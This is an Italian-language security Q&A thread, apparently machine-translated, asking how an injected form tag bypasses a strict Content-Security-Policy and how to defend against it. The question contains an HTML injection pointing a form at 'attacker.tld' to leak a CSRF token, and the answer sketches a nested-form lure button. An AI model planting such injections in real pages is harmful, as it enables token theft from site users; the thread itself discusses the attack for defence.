Ignora criteri di sicurezza del contenuto: utilizzo del tag Form

1

Questo articolo parla dell'esclusione del CSP utilizzando i tag Form.

Modifica: come suggerito, i dettagli devono essere forniti nel caso in cui il collegamento esterno smetta di funzionare.

Quindi ecco i dettagli:

Sono presenti criteri di sicurezza del contenuto e un parametro vulnerabile a XSS:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div>[Reflected XSS vulnerability here]</div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

Ecco come l'autore tenta di aggirare CSP:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div><form action=”http://attacker.tld”></div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

Voglio sapere se esiste un modo per implementare il CSP per bloccare l'attacco di cui sopra e per eludere i token sensibili da inviare a un dominio esterno?
O una corretta codifica di caratteri speciali deve essere fatta per fermare questo.

    
posta one 30.05.2017 - 12:38
fonte

1 risposta

4

Domanda cambiata in mezzo:)

In questo caso non è chiaro come si invia il modulo dannoso. Per farlo funzionare devi iniettare qualcosa del tipo:

<form method="post" target="abc"><form method="post" target="evil"><input type="submit" value="Click me to win new iPhone" />
<input type="hidden" name="..." value="...">.....

e fare in modo che l'utente faccia clic sul pulsante in qualche modo (poiché non è possibile inviare automaticamente l'opzione). Posso anche vedere la possibilità di nascondere il pulsante originale usando il CSS e sostituendolo con il tuo pulsante.

Stai chiedendo come proteggermi da questo. Posso vedere due opzioni:

  1. correggi il codice del server per validare / evadere l'input dell'utente
  2. posiziona il firewall dell'applicazione davanti al server web e filtra tutte le iniezioni lì

In entrambi i casi direi la sostituzione (escape) di < con & amplt; e > con & ampgt; per tutti i parametri di input funzionerebbe in tal caso.

come @Arminius ha detto correttamente che non c'è modo di configurare CSP in questo modo.

    
risposta data 30.05.2017 - 13:18
fonte

Leggi altre domande sui tag